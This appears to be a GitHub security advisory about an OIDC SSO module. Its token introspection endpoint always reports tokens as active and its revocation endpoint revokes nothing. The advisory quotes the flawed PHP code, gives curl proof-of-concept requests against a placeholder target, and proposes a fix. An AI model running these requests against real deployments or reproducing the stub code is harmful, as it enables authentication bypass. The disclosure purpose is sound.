OSV 1.4.0 · github-reviewed · 修改于 2026-05-09 04:14
发布时间
2026-04-30 05:58
GitHub 审查时间
2026-04-30 05:58
NVD 发布时间
2026-05-07 12:16
源文件
advisories/github-reviewed/2026/04/GHSA-9xx5-cv6j-x533/GHSA-9xx5-cv6j-x533.json
The OIDC token introspection endpoint (/modules/sso/index.php/oidc/introspect) always returns {"active": true} for every request, regardless of whether a valid token is provided, whether the token is expired, revoked, or completely fabricated. The endpoint performs no authentication of the calling resource server and no validation of the submitted token. Any resource server that relies on this introspection endpoint to validate access tokens will accept all requests as authorized, enabling complete authentication bypass.
Additionally, the OIDC token revocation endpoint (/oidc/revoke) returns {"revoked": true} without actually revoking any token, preventing resource servers from invalidating compromised credentials.
The vulnerability is in src/SSO/Service/OIDCService.php, lines 604-619:
public function handleIntrospectionRequest() {
// TODO_RK
if (!$this->isServiceSetup) {
$this->setupService();
}
return new JsonResponse(["active" => true]);
}
public function handleRevocationRequest() {
// TODO_RK
if (!$this->isServiceSetup) {
$this->setupService();
}
return new JsonResponse(["revoked" => true]);
}
The introspection endpoint is routed at modules/sso/index.php, line 58-59:
} elseif (strpos($requestUri, '/oidc/introspect') !== false) {
$response = $oidcService->handleIntrospectionRequest();
The router comment at line 35 says "Login checks will be done in the individual endpoint handler functions!" but neither handleIntrospectionRequest nor handleRevocationRequest perform any authentication or authorization checks.
Per RFC 7662 (OAuth 2.0 Token Introspection), the introspection endpoint:
{"active": false} for invalid, expired, or revoked tokensThe current implementation violates all three requirements.
Attack flow:
/oidc/introspect for validation{"active": true} without any checksThe revocation bypass compounds this: If a legitimate token is stolen, the resource server or client application cannot revoke it. Calling /oidc/revoke returns success without actually revoking the token in the database, so the stolen token remains usable indefinitely (until its expiry time).
# Step 1: Confirm the introspection endpoint exists and always returns active
# No valid token needed - any string works
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
-d "token=COMPLETELY_FABRICATED_TOKEN_12345"
# Expected response: {"active":true}
# Step 2: Try with an empty token
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
-d "token="
# Expected response: {"active":true}
# Step 3: Demonstrate that revocation is also broken
curl -X POST https://TARGET/modules/sso/index.php/oidc/revoke \
-d "token=any_valid_token_here"
# Expected response: {"revoked":true}
# But the token is NOT actually revoked in the database
# Step 4: Verify the token is still active after "revocation"
curl -X POST https://TARGET/modules/sso/index.php/oidc/introspect \
-d "token=any_valid_token_here"
# Still returns: {"active":true}
Replace the stub implementations with proper token introspection and revocation logic:
public function handleIntrospectionRequest() {
if (!$this->isServiceSetup) {
$this->setupService();
}
$request = $this->getRequest();
// 1. Authenticate the resource server (RFC 7662 Section 2.1)
// The resource server MUST authenticate using client credentials
$clientId = $request->getParsedBody()['client_id'] ?? null;
$clientSecret = $request->getParsedBody()['client_secret'] ?? null;
if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
return new JsonResponse(['error' => 'invalid_client'], 401);
}
// 2. Get and validate the token
$tokenValue = $request->getParsedBody()['token'] ?? '';
if (empty($tokenValue)) {
return new JsonResponse(['active' => false]);
}
try {
// Validate the token using the resource server
$validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
$request->withHeader('Authorization', 'Bearer ' . $tokenValue)
);
$tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
// Check if token is revoked
if ($this->accessTokenRepository->isAccessTokenRevoked($tokenId)) {
return new JsonResponse(['active' => false]);
}
$token = $this->accessTokenRepository->getToken($tokenId);
// Check expiry
if ($token->getExpiryDateTime() < new \DateTimeImmutable()) {
return new JsonResponse(['active' => false]);
}
return new JsonResponse([
'active' => true,
'sub' => $token->getUserIdentifier(),
'client_id' => $token->getClient()->getIdentifier(),
'exp' => $token->getExpiryDateTime()->getTimestamp(),
'scope' => implode(' ', array_map(fn($s) => $s->getIdentifier(), $token->getScopes())),
]);
} catch (\Exception $e) {
return new JsonResponse(['active' => false]);
}
}
public function handleRevocationRequest() {
if (!$this->isServiceSetup) {
$this->setupService();
}
$request = $this->getRequest();
// Authenticate the client
$clientId = $request->getParsedBody()['client_id'] ?? null;
$clientSecret = $request->getParsedBody()['client_secret'] ?? null;
if (!$clientId || !$this->clientRepository->validateClient($clientId, $clientSecret, null)) {
return new JsonResponse(['error' => 'invalid_client'], 401);
}
$tokenValue = $request->getParsedBody()['token'] ?? '';
if (!empty($tokenValue)) {
try {
$validatedRequest = $this->resourceServer->validateAuthenticatedRequest(
$request->withHeader('Authorization', 'Bearer ' . $tokenValue)
);
$tokenId = $validatedRequest->getAttribute('oauth_access_token_id');
$this->accessTokenRepository->revokeAccessToken($tokenId);
} catch (\Exception $e) {
// RFC 7009: The server responds with HTTP 200 even for invalid tokens
}
}
return new JsonResponse([], 200);
}